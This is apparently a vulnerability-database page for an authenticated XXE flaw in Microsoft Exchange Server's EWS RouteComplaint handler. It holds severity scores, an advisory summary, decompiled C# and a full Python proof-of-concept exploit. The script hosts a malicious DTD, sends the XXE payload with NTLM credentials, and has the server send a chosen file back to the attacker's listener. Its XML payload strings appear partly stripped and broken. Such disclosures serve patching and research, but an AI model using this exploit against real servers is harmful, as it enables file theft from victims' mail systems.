6 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:S/C:P/I:P/A:P
8.4 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H
0.025 Low
EPSS
Percentile
90.1%
Vulnerability Details:
This vulnerability allows remote attackers to disclose information on affected installations of Exchange Server. Authentication is required to exploit this vulnerability.
The specific flaw exists within the processing of RouteComplaint SOAP requests to the EWS service endpoint. The issue results from the lack of proper validation of a user-supplied xml. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM.
Affected Vendors:
Microsoft
Affected Products:
Exchange Server
Vendor Response:
Microsoft has issued an update to correct this vulnerability. More details can be found at: <https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-17141>
#!/usr/bin/env python3
"""
Microsoft Exchange Server EWS RouteComplaint ParseComplaintData XML External Entity Processing Information Disclosure Vulnerability
Advisory: https://srcincite.io/advisories/src-2020-0031/
Patched in: https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-17141
## Summary
This vulnerability allows remote attackers to disclose information on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. The specific flaw exists within the processing of a RouteComplaint SOAP request to the EWS service endpoint. The issue results from the lack of proper validation of a user-supplied xml. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM.
## Vulnerability Analysis
Inside of the `Microsoft.Exchange.Services.dll` we can see the following class:
```c#
namespace Microsoft.Exchange.Services.Core
{
internal sealed class RouteComplaint : SingleStepServiceCommand{
//...
internal override ServiceResultExecute()
{
if (base.CallContext.EffectiveCaller == null)
{
throw new ArgumentNullException("this.CallContext.EffectiveCaller", "EffectiveCaller must not be null.");
}
this.abuseReportResults = null;
IAbuseReportContext abuseReportContext = this.ParseComplaintData(); // 1
IMailboxSession imailboxSessionBySmtpAddress = base.CallContext.SessionCache.GetIMailboxSessionBySmtpAddress(base.CallContext.EffectiveCaller.PrimarySmtpAddress, false);
IWasclContext wasclContext = new WasclContext(ProtocolClientType.XMRAR, null, null, string.Empty, "");
imailboxSessionBySmtpAddress.WasclContext = wasclContext;
this.abuseReportResults = WasclWrapper.ProcessAbuseReport(abuseReportContext, imailboxSessionBySmtpAddress);
return new ServiceResult(new RouteComplaintResponseMessage(ServiceResultCode.Success, null, this.EncodeComplaintDataForResponse()), ServiceResultCode.Success);
}
// ...
private IAbuseReportContext ParseComplaintData()
{
if (base.Request.Data == null)
{
ExTraceGlobals.GetEventsCallTracer.TraceDebug((long)this.GetHashCode(), "RouteComplaint.Execute - RouteComplaintRequest data is null");
throw new ArgumentNullException("this.complaintData", "ComplaintData must not be null in order to process the abuse report.");
}
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(Encoding.UTF8.GetString(base.Request.Data)); // 2
XmlNode data = xmlDocument.SelectSingleNode("complaintData");
```
At *[1]* we can see the `RouteComplaint.ParseComplaintData` method is called from the `Execute` method and at *[2]* the code uses attacker supplied data in a `LoadXml` to trigger entity processing.
## Proof of Concept
Change anything within the [] brackets.
```
POST /ews/Exchange.asmx HTTP/1.1
Host: [target]
Content-type: text/xml; charset=utf-8
Authentication: [ntlm auth]
Content-Length: [length][base64 encoded XXE payload]```
## Example
```
researcher@incite:~$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"
researcher@incite:~$ ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"
(+) triggered xxe in exchange!
(+) stolen: /leaked?
```
"""
import re
import sys
import urllib3
import requests
import urllib.parse
from threading import Thread
from base64 import b64encode
from requests_ntlm2 import HttpNtlmAuth
from http.server import BaseHTTPRequestHandler, HTTPServer
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class xxe(BaseHTTPRequestHandler):
def log_message(self, format, *args):
return
def _set_response(self, d):
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.send_header('Content-Length', len(d))
self.end_headers()
def do_GET(self):
if "leaked" in self.path:
print("(+) stolen: %s" % urllib.parse.unquote(self.path))
message = " ]]>"
self._set_response(message)
self.wfile.write(message.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
elif "poc.dtd" in self.path:
print("(+) triggered xxe in exchange!")
message = """
'>
%%param1; %%external;""" % (host, int(port))
self._set_response(message)
self.wfile.write(message.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
def main(t, usr, pwd):
server = HTTPServer(('0.0.0.0', int(port)), xxe)
handlerthr = Thread(target=server.serve_forever, args=())
handlerthr.daemon = True
handlerthr.start()
username = usr.split("@")[0]
domain = usr.split("@")[1]
h = {"Content-type" : "text/xml; charset=utf-8"}
xxe_payload = """">
%%dtd;
]>""" % (file, host, int(port))
d = """%s""" % b64encode(xxe_payload.encode()).decode("utf-8")
requests.post("https://%s/ews/Exchange.asmx" % t, data=d, headers=h, verify=False, auth=HttpNtlmAuth('%s\\%s' % (domain,username), pwd))
if __name__ == '__main__':
if len(sys.argv) != 5:
print("(+) usage: %s" % sys.argv[0])
print("(+) eg: %s 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 \"C:/Users/harryh/secrets.txt\"" % sys.argv[0])
sys.exit(-1)
trgt = sys.argv[1]
assert ":" in sys.argv[2], "(-) you need a user and password!"
usr = sys.argv[2].split(":")[0]
pwd = sys.argv[2].split(":")[1]
host = sys.argv[3]
port = 9090
file = sys.argv[4]
if ":" in sys.argv[3]:
host = sys.argv[3].split(":")[0]
port = sys.argv[3].split(":")[1]
assert port.isdigit(), "(-) not a port number!"
main(trgt, usr, pwd)
6 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:S/C:P/I:P/A:P
8.4 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H
0.025 Low
EPSS
Percentile
90.1%